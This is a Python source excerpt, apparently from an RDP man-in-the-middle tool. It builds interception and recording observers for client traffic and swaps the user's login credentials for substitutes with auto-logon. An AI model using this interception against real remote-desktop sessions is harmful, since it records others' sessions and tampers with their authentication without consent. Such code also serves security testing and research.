self.slowPathLayer.addObserver(RecordingSlowPathObserver(
self.recorder))
self.channelObservers[channelID] = slowPathObserver
fastPathParser = createFastPathParser(self.useTLS, encryptionMethod,
self.crypter, ParserMode.CLIENT)
self.fastPathLayer = FastPathLayer(fastPathParser)
self.fastPathObserver = MITMFastPathObserver(self.log,
self.fastPathLayer)
self.fastPathLayer.addObserver(self.fastPathObserver)
self.fastPathLayer.addObserver(
RecordingFastPathObserver(self.recorder,
PlayerMessageType.FAST_PATH_OUTPUT))
channel = MCSClientChannel(mcs, userID, channelID)
Layer.chain(channel, self.securityLayer, self.slowPathLayer)
self.segmentation.attachLayer(SegmentationPDUType.FAST_PATH,
self.fastPathLayer)
if self.useTLS:
self.securityLayer.securityHeaderExpected = True
elif encryptionMethod != 0:
self.log.debug("Sending Security Exchange")
self.slowPathLayer.previous.sendSecurityExchange(
self.securitySettings.encryptClientRandom())
return channel
def onChannelJoinRefused(self, user, result, channelID):
self.server.onChannelJoinRefused(user, result, channelID)
def onClientInfoPDUReceived(self, pdu: ClientInfoPDU):
# If set, replace the provided username and password to connect the user regardless of
# the credentials they entered.
if self.replacementUsername is not None:
pdu.username = self.replacementUsername
if self.replacementPassword is not None:
pdu.password = self.replacementPassword
if self.replacementUsername is not None and self.replacementPassword is not None:
pdu.flags |= ClientInfoFlags.INFO_AUTOLOGON
# Tell the server we don't want compression (unsure of the effectiveness of these flags)
pdu.flags &= ~ClientInfoFlags.INFO_COMPRESSION
pdu.flags &= ~ClientInfoFlags.INFO_CompressionTypeMask
self.log.debug("Sending Client Info: %(arg1)s", {"arg1": pdu})
self.securityLayer.sendClientInfo(pdu)
def onLicensingDataReceived(self, data):
self.log.debug("Licensing data received")
if self.useTLS:
self.securityLayer.securityHeaderExpected = False
self.server.onLicensingDataReceived(data)
def onDisconnectProviderUltimatum(self, pdu):
self.log.debug("Disconnect Provider Ultimatum received")
self.server.sendDisconnectProviderUltimatum(pdu)
def getChannelObserver(self, channelID):
return self.channelObservers[channelID]
def getFastPathObserver(self):
return self.fastPathObserver